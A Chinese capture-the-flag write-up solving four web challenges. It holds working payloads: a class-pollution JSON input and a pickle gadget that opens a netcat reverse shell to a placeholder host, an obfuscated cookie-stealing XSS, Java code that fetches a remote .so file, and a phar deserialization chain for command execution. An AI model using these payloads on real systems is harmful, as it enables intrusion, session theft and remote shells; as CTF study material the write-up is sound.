强网拟态2024 WEB(全解)
1472103475694632 发表于 湖北 CTF 742浏览 · 2024-10-20 06:01

ez_pickle

绕过RestrictedUnpickler的限制

from sanic import Sanic
from sanic.response import json,file as file_,text,redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []

safe_modules = {
    'math',
    'datetime',
    'json',
    'collections',
}

safe_names = {
    'sqrt', 'pow', 'sin', 'cos', 'tan',
    'date', 'datetime', 'timedelta', 'timezone', 
    'loads', 'dumps',  
    'namedtuple', 'deque', 'Counter', 'defaultdict'
}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in safe_modules and name in safe_names:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])
class User:
    def __init__(self,username,password):
        self.username=username
        self.password=password


def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def token_required(func):
    async def wrapper(request, *args, **kwargs):
        token = request.cookies.get("token")  
        if not token:
            return redirect('/login')
        try:
            result=jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
        except jwt.ExpiredSignatureError:
            return json({"status": "fail", "message": "Token expired"}, status=401)
        except jwt.InvalidTokenError:
            return json({"status": "fail", "message": "Invalid token"}, status=401)
        print(result)
        if result["role"]!="admin":
            return json({"status": "fail", "message": "Permission Denied"}, status=401)
        return await func(request, *args, **kwargs)
    return wrapper

@app.route('/', methods=["GET"])
def file_reader(request):
    file = "app.py"
    with open(file, 'r') as f:
        content = f.read()
    return text(content)

@app.route('/upload', methods=["GET","POST"])
@token_required
async def upload(request):
    if request.method=="GET":
        return await file_('templates/upload.html')
    if not request.files:
        return text("No file provided", status=400)

    file = request.files.get('file')
    file_object = file[0] if isinstance(file, list) else file
    try:
        new_data = restricted_loads(file_object.body)
        try:
            my_object.update(new_data)
        except:
            return json({"status": "success", "message": "Pickle object loaded but not updated"})
        with open(pickle_file, "wb") as f:
            pickle.dump(my_object, f)

        return json({"status": "success", "message": "Pickle object updated"})
    except pickle.UnpicklingError:
        return text("Dangerous pickle file", status=400)

@app.route('/register', methods=['GET','POST'])
async def register(request):
    if request.method=='GET':
        return await file_('templates/register.html')
    if request.json:
        NewUser=User("username","password")
        merge(request.json, NewUser)
        users.append(NewUser)
    else:
        return json({"status": "fail", "message": "Invalid request"}, status=400)
    return json({"status": "success", "message": "Register Success!","redirect": "/login"})

@app.route('/login', methods=['GET','POST'])
async def login(request):
    if request.method=='GET':
        return await file_('templates/login.html')
    if request.json:
        username = request.json.get("username")
        password = request.json.get("password")
        if not username or not password:
            return json({"status": "fail", "message": "Username or password missing"}, status=400)
        user = next((u for u in users if u.username == username), None)
        if user:
            if user.password == password:
                data={"user":username,"role":"guest"}
                data['exp'] = int(time.time()) + 60 *5
                token = jwt.encode(data, str(secret_key), algorithm='HS256')
                response = json({"status": "success", "redirect": "/upload"})
                response.cookies["token"]=token
                response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
                return response
            else:
                return json({"status": "fail", "message": "Invalid password"}, status=400)
        else:
            return json({"status": "fail", "message": "User not found"}, status=404)
    return json({"status": "fail", "message": "Invalid request"}, status=400)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8000)

注册完之后login,再upload路由下直接写pickle的payload
c-jwt-cracker密钥爆不出来,原型链污染(傻逼了

python原型链污染 https://tttang.com/archive/1876/
修改secret_key , safe_modules, safe_names 直接就可以任意执行pickler 。

{"username":"Ki1ro","password":"123456", "__init__" : {"__globals__" : {"safe_modules":["123"],"safe_names":["123456"],"secret_key":"123456"}}}

能够访问upload,白名单也被污染空了,现在就是生成一个pkl文件用来反序列化

import pickle
import os

class genpoc(object):
    def __reduce__(self):
        s = """nc xxxxxxxxx xx -e /bin/sh"""
        return os.system, (s,)

e = genpoc()
with open("./test.pickle", "wb") as f:
    pickle.dump(e, f)

Spreader

源码如下

const fs = require('fs');
const express = require('express');
const router = express.Router();
const { triggerXSS } = require('../bot');
const { Store } = require('express-session');
function isAuthenticated(req, res, next) {
    if (req.session.user) {
        next();
    } else {
        res.redirect('/login');
    }
}
module.exports = (users,posts,store,AdminPassWord,PrivilegedPassWord) => {

    const ROLES = {
        PLAIN: "plain",
        PRIVILEGED: "privileged",
        ADMIN: "admin",
    };

    router.get('/register', (req, res) => {
        res.sendFile('register.html', { root: './views' });
    });

    router.post('/register', (req, res) => {
        const { username, password, role } = req.body;
        const userExists = users.some(u => u.username === username);
        if (userExists) {
            return res.send('Username already exists!');
        }
        users.push({ username, password, role: "plain" });
        res.redirect('/login');
    });
    router.get('/login', (req, res) => {
        res.sendFile('login.html', { root: './views' });
    });

    router.post('/login', (req, res) => {
        const { username, password } = req.body;
        console.log(username);
        console.log(password);
        const user = users.find(u => u.username === username && u.password === password);
        if (user) {
            req.session.user = user;
            res.redirect('/');
        } else {
            res.send('Invalid credentials!');
        }
    });
    router.get('/', isAuthenticated, (req, res) => {
        const currentUser = req.session.user;
        let filteredPosts = [];
        if (currentUser.role === ROLES.ADMIN) {
            filteredPosts = posts.filter(p => p.role === ROLES.PRIVILEGED || p.role === ROLES.ADMIN);
        } else if (currentUser.role === ROLES.PRIVILEGED) {
            filteredPosts = posts.filter(p => p.role === ROLES.PLAIN || p.role === ROLES.PRIVILEGED);
        } else {
            filteredPosts = posts.filter(p => p.role === ROLES.PLAIN);
        }
        res.render(`${currentUser.role}`, { posts: filteredPosts, user: currentUser });
    });
    router.post('/post', isAuthenticated, (req, res) => {
        let { content } = req.body;

        const scriptTagRegex = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi;
        content = content.replace(scriptTagRegex, '[XSS attempt blocked]');

        const eventHandlerRegex = /on\w+\s*=\s*(["']).*?\1/gi;
        content = content.replace(eventHandlerRegex, '[XSS attempt blocked]');

        const javascriptURLRegex = /(?:href|src)\s*=\s*(["'])\s*javascript:.*?\1/gi;
        content = content.replace(javascriptURLRegex, '[XSS attempt blocked]');

        const dataURLRegex = /(?:href|src)\s*=\s*(["'])\s*data:.*?\1/gi;
        content = content.replace(dataURLRegex, '[XSS attempt blocked]');

        const cssExpressionRegex = /style\s*=\s*(["']).*?expression\([^>]*?\).*?\1/gi;
        content = content.replace(cssExpressionRegex, '[XSS attempt blocked]');

        const dangerousTagsRegex = /<\/?(?:iframe|object|embed|link|meta|svg|base|source|form|input|video|audio|textarea|button|frame|frameset|applet)[^>]*?>/gi;
        content = content.replace(dangerousTagsRegex, '[XSS attempt blocked]');

        const dangerousAttributesRegex = /\b(?:style|srcset|formaction|xlink:href|contenteditable|xmlns)\s*=\s*(["']).*?\1/gi;
        content = content.replace(dangerousAttributesRegex, '[XSS attempt blocked]');

        const dangerousProtocolsRegex = /(?:href|src)\s*=\s*(["'])(?:\s*javascript:|vbscript:|file:|data:|filesystem:).*?\1/gi;
        content = content.replace(dangerousProtocolsRegex, '[XSS attempt blocked]');

        const dangerousFunctionsRegex = /\b(?:eval|alert|prompt|confirm|console\.log|Function)\s*\(/gi;
        content = content.replace(dangerousFunctionsRegex, '[XSS attempt blocked]');

        posts.push({ content: content, username: req.session.user.username, role: req.session.user.role });
        res.redirect('/');
    });


    router.get('/logout', (req, res) => {
        req.session.destroy();
        res.redirect('/login');
    });
    router.get('/report_admin', async (req, res) => {
        try {
            await triggerXSS("admin",AdminPassWord);
            res.send(`Admin Bot successfully logged in.`);
        } catch (error) {
            console.error('Error Reporting:', error);
            res.send(`Admin Bot successfully logged in.`);
        }
    });
    router.get('/report_privileged', async (req, res) => {
        try {
            await triggerXSS("privileged",PrivilegedPassWord);
            res.send(`Privileged Bot successfully logged in.`);
        } catch (error) {
            console.error('Error Reporting:', error);
            res.send(`Privileged Bot successfully logged in.`);
        }
    });
    router.get('/store', async (req, res) => {
        return res.status(200).json(store);
    });
    router.post('/store', async (req, res) => {
        if (req.body) {
            store.push(req.body);
            return res.status(200).send('Data stored successfully');
        } else {
            return res.status(400).send('No data received');
        }
    });
    router.get('/flag', async (req, res) => {
        try {
            if (req.session.user && req.session.user.role === "admin") {
                fs.readFile('/flag', 'utf8', (err, data) => {
                    if (err) {
                        console.error('Error reading flag file:', err);
                        return res.status(500).send('Internal Server Error');
                    }
                    res.send(`Your Flag Here: ${data}`);
                });
            } else {
                res.status(403).send('Unauthorized!');
            }
        } catch (error) {
            console.error('Error fetching flag:', error);
            res.status(500).send('Internal Server Error');
        }
    });
    return router;
};

首先xss将privileged的cookie放在store里,然后以privileged身份登录再发一个留言让admin读取,将admin的cookie放在store里,最后以admin登录获取flag

const url = 'http://localhost:3000/store';

const data = {
    cookie1:btoa(document.cookie)
};

const encodedData = new URLSearchParams(data);

fetch(url, {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
  },
  body: encodedData,
})

Paload:

<script  > window['ev'+'al'](atob('Y29uc3QgdXJsID0gJ2h0dHA6Ly9sb2NhbGhvc3Q6MzAwMC9zdG9yZSc7DQoNCmNvbnN0IGRhdGEgPSB7DQogICAgY29va2llMTpidG9hKGRvY3VtZW50LmNvb2tpZSkNCn07DQoNCmNvbnN0IGVuY29kZWREYXRhID0gbmV3IFVSTFNlYXJjaFBhcmFtcyhkYXRhKTsNCg0KZmV0Y2godXJsLCB7DQogIG1ldGhvZDogJ1BPU1QnLA0KICBoZWFkZXJzOiB7DQogICAgJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnLA0KICB9LA0KICBib2R5OiBlbmNvZGVkRGF0YSwNCn0pDQoudGhlbihyZXNwb25zZSA9PiB7DQoNCn0p'))</script  >

OnlineRunner

题目禁止了import,直接执行java代码读文件

String filePath = "path/to/your/file.txt"; // 替换为你的文件路径

        try {

            // 使用 FileReader 和 BufferedReader 读取文件

            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.FileReader(filePath));

            String line;

            while ((line = reader.readLine()) != null) {

                System.out.println(line);

            }

            reader.close();

        } catch (java.io.IOException e) {

            e.printStackTrace();

        }

可以通过远程加载so文件来JNI注入

String fileURL = "http://xxx.xxx.xxx.xxx/"; // 替换为实际的文件 URL
String saveDir = "/tmp/xxx"; // 替换为实际保存的目录路径

try {
    // 创建 URL 对象
    java.net.URL url = new java.net.URL(fileURL);
    java.io.InputStream in = new java.io.BufferedInputStream(url.openStream());
    java.io.FileOutputStream fos = new java.io.FileOutputStream(saveDir);

    byte[] buffer = new byte[2048];
    int bytesRead;

    // 读取文件并写入输出流
    while ((bytesRead = in.read(buffer, 0, buffer.length)) != -1) {
        fos.write(buffer, 0, bytesRead);
    }

    // 关闭流
    fos.close();
    in.close();

    System.out.println("文件下载成功!");

} catch (Exception e) {
    System.out.println("下载失败: " + e.toString());
}

但是被waf了加载不进去so文件

Capoo

源码

<?php
class CapooObj {
    public function __wakeup()
    {
    $action = $this->action;
    $action = str_replace("\"", "", $action);
    $action = str_replace("\'", "", $action);
    $banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\   |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
    if(preg_match($banlist, $action)){
        die("Not Allowed!");
    }
        system($this->action);
    }
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
    $file = $_POST['capoo'];

    if (file_exists($file)) {
        $data = 9file_get_contents($file);
        $base64 = base64_encode($data);
    } else if (substr($file, 0, strlen("http://")) === "http://") {
        $data = file_get_contents($_POST['capoo'] . "/capoo.gif");
        if (strpos($data, "PILER") !== false) {
            die("Capoo piler not allowed!");
        }
        file_put_contents("capoo_img/capoo.gif", $data);
        die("Download Capoo OK");
    } else {
        die('Capoo does not exist.');
    }
} else {
    die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
  <head>
    <title>Display Capoo</title>
  </head>
  <body>
    <img style='display:block; width:100px;height:100px;' id='base64image'
       src='data:image/gif;base64, <?php echo $base64;?>' />
  </body>
</html>

远程写个phar文件,要包含PILER字符串内容
Phar文件

<?php
highlight_file(__FILE__);
class CapooObj
{
    var $action='';
}

@unlink('test.phar');   
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
$o=new CapooObj();
$o->action='whoami';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","m1xi@n");  //添加要压缩的文件
$phar->stopBuffering();

gzip压缩后改为gif,capoo=http://ip:port#下载后phar://访问

虽然报错但可以执行,然后diff读文件拿flag读 flag-33ac806f

0 条评论
某人
表情
可输入 255
目录